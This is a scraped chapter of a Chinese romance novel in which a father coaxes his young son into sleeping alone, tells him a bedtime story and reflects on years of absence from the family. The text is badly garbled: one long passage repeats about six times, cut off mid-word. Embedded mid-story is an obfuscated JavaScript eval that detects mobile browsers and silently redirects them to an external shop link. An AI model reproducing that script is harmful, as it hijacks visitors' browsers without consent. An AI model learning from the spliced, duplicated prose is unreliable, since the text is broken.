吃过晚饭，一家三口窝在沙发上看了一会儿动画片，姜知便催着程昱钊带岁岁去洗漱。
洗完澡换上小恐龙睡衣，岁岁照常抱着他的小枕头哒哒哒地跑到了主卧门口。
“妈妈，我今天晚上还想和你们一起睡。”
声音软糯糯的，小脸上挂着那种他屡试不爽的可怜表情。
姜知看着儿子可怜巴巴的样子，心一下子就软了。她本来就不是什么铁石心肠的人，在岁岁面前更是毫无招架之力。
刚想开口答应，身后突然伸出一只大手，直接把岁岁连人带枕头捞了起来。
程昱钊单臂抱着儿子，另一只手顺势揉了一把他的头发。
“不行。”
程昱钊拒绝得干脆利落。
姜知有些意外地转头看他。
这人对岁岁提出的要求基本是要什么给什么，连让橘子上桌吃饭他都让步了。
这是头一回说“不行”。
程昱钊面色如常。
岁岁不干了：“为什么！之前都可以！”
“之前是之前。”
“那今天怎么就不行了？”
“今天跟之前情况不同。”
“哪里不同了？”
程昱钊张了张嘴，把想说的话咽了回去。
不同大了。
他心里暗暗列了个清单，条条都不能对孩子说。
昨晚刚体会到了失而复得的喜悦，又听到了她在黑暗里因为他而发出的那些细碎的、柔软的声响。
程昱钊不是什么情感丰沛的人，但昨晚他才明白医生指的“情感被封锁了”是什么意思。
那道关了很多年的闸门一旦打开，涌出来的东西连他自己都手足无措。
他想要更多。
可撇开那些不能说出口的，一家三口同睡这件事的体验也远没有想象中美好。
岁岁的睡相实在是不敢恭维。
小家伙睡觉喜欢打横，占地面积堪比一个成年人。一晚上小脚丫子不是踢在他的下巴上，就是踹在他的肋骨上。
那几根肋骨本来就受过伤，有两根还是当年被震裂的，后来虽然长好了，但变天的时候还是会隐隐作痛。
有时候岁岁一脚下去，力道之狠、角度之刁钻，踹得他差点以为自己陈年旧伤复发了。
他还不敢总是往姜知那边跑。
有一次姜知迷迷糊糊地嘟囔了一句“你压我头发了”，他吓得半天没敢再躺下去。最后每次都只能大半个身子悬在床沿边上。
最重要的是，他今天好不容易等到了一个完整的、不被打扰的夜晚。
他有一肚子的话想跟姜知说，有很多事想做。
怎么可能再放这个小电灯泡进来捣乱。
“不同的地方有很多。”程昱钊含糊其辞，“你长大了就明白了。”
姜知听着听着，突然就品出味儿来了。
岁岁还在抗议，程昱钊抱着他往儿童房的方向走，脚步不停：“你之前不是说，自己是小男子汉吗？”
岁岁立刻挺起小胸脯，大声回答：“我是男子汉！”
“那男子汉是不是都应该自己睡儿童房？”程昱钊循循善诱，搬出了杀手锏，“你忘了你之前说过什么了？你说过你长大了要保护妈妈。如果你现在连自己一个人睡觉都不敢，以后怎么保护妈妈？”
岁岁被他这番理论绕得有点晕。
小眉毛纠结地拧在一起，低头看了看怀里的小枕头，又看了看爸爸，进行着激烈的思想斗争：“可是……可是我想和爸爸妈妈睡……”
程昱钊被这句童言暖得心头一热，心里其实也不好受。
这孩子前四年都没有父亲，在别的小朋友被爸爸举高高，骑在肩膀上逛公园的时候，他在被幼儿园的小朋友欺负，被人骂是野孩子。
那些年里，代替他陪着这个孩子长大的人，一个比一个用力。
姜知、时谦、江书俞、周子昂、姜爸姜妈。
他们替他撑起了岁岁头顶的天，而他是那个把天捅塌的人。
现在岁岁好不容易有了一个完整的家，想跟爸爸妈妈挤在一起睡，这个要求有什么过分的呢？
程昱钊差点动摇了。
不能心软。
今天心软了，他就得在儿子的小脚丫和老婆的温度之间做选择。
明天岁岁还会用同样的招数，后天、大后天也会。
“这样，你今晚乖乖自己睡，明天上午，爸爸陪你下楼堆雪人当目标，再试试新买的玩具枪，怎么样？”
一听到试枪，岁岁眼睛亮了。
纠结的小脸立刻多云转晴，重重地点了点头：“成交！爸爸说话算数！”
“绝对算数。”程昱钊满意地把儿子放进被窝里。
岁岁的床头柜上摆着那个从娃娃机里抓出来的兔子玩偶，旁边还有时谦从苏黎世寄来的火车模型。
程昱钊的目光在那个火车模型上停留了半秒。
时谦选东西的眼光从来都很好，不仅是礼物，在人身上也是。
这个念头一
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338908|196774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”
闪而过，有些涩意。
算了。
摆就摆着吧。
这个火车模型放在这里，也是岁岁成长记忆的一部分。他不能去否定任何一个在他不在的日子里爱过这个孩子的人。
“爸爸，讲个故事。”
“讲什么？”
“讲你抓坏人的。”
程昱钊在床边坐下，想了想，挑了一个以前在交警队抓肇事逃逸的案子讲。
那案子其实还挺险的，肇事司机醉驾，开着个面包车在国道上逆行，他带着两个队员追了十几分钟才逼停，还差点被撞了个对冲。
他删了那些细节，只留下“警察叔叔很聪明地设了路障”和“坏人乖乖下车投降了”。
还自创了一个结尾：坏人被抓住以后，警察叔叔就可以早早下班回家，给自己的小朋友做好吃的，陪他一起搭乐高。
程昱钊讲完，自己先怔了一会儿。
觉得这个虚构的警察叔叔，其实就是他一直想要但从来没能做到的样子。
岁岁听到这里，很不给面子地说了一句：“爸爸，你编的。”
“哪里编了？”
“警察叔叔哪有那么早下班，妈妈说你以前家都不回。”
“……”
他沉默了两秒。
“以前是爸爸不好。”他的声音低了下来，伸手帮岁岁把额前的头发拨开，“以后不会了，爸爸会按时回家的。”
岁岁盯着他看了一会儿，心里评估这句承诺的可信度。
然后他翻了个身，把小被子抱得紧紧的。
“那你跟妈妈拉个钩。”
“嗯？”
“跟妈妈拉钩，说话算数，不然就是骗子。”
程昱钊笑道：“好，等下就拉。”
岁岁满意地闭上了眼睛，不到五分钟就睡了过去。
程昱钊在床边又坐了一会儿，看着儿子睡着的侧脸。
脸蛋肉嘟嘟的，睫毛很长，偶尔哼哼唧唧两声。
他可以看很久很久，不会觉得无聊，也不会走神。
有时候他会怕岁岁长大。
秦峥那句凉薄的话一直在他脑子里。
【等他长大了，看懂了姜知这些年受的苦，你再看看他恨不恨你。】
他准备好了答案，但不确定这个答案是否能被原谅。
江书俞有一次和他说，岁岁生出来有七斤多，姜知疼了很久，受了很多苦。
那只是随口一提，被姜知瞪了一眼，江书俞便哈哈一笑，转移了话题。
但他听完后，去浴室用冷水洗了好几把脸，才把眼里的红压下去。
那些他缺席的夜晚，一个人扛过来的姜知，到底是怎样的心情？
他不敢深想。
他轻手轻脚地站起身退出儿童房，顺手把门带上，留了一条细细的缝，让走廊的光透进去一点，免得岁岁半夜醒来害怕。
一转身，就看到姜知穿着睡衣倚在次卧的门框上。
她不知道站了多久，一只手搭在门框边缘，另一只手拢着睡衣的领口。
屋内的灯光从她身后打过来，在她的轮廓上镀了一层暖色的光晕。
程昱钊心跳砰砰跳。
明明刚才在儿童房里还好好的，满脑子父爱泛滥和自我忏悔。想的都是“我要做一个好父亲”、“我要弥补四年的缺席”、“我要陪儿子成长”之类的崇高念头。
结果一出这扇门，看到她往那儿一靠，所有高尚沉重的情绪都断了个干净。
剩下的全是一些不太能放到台面上说的念头。
姜知似笑非笑地看着他。
“大晚上的把孩子赶走，心怀不轨啊？”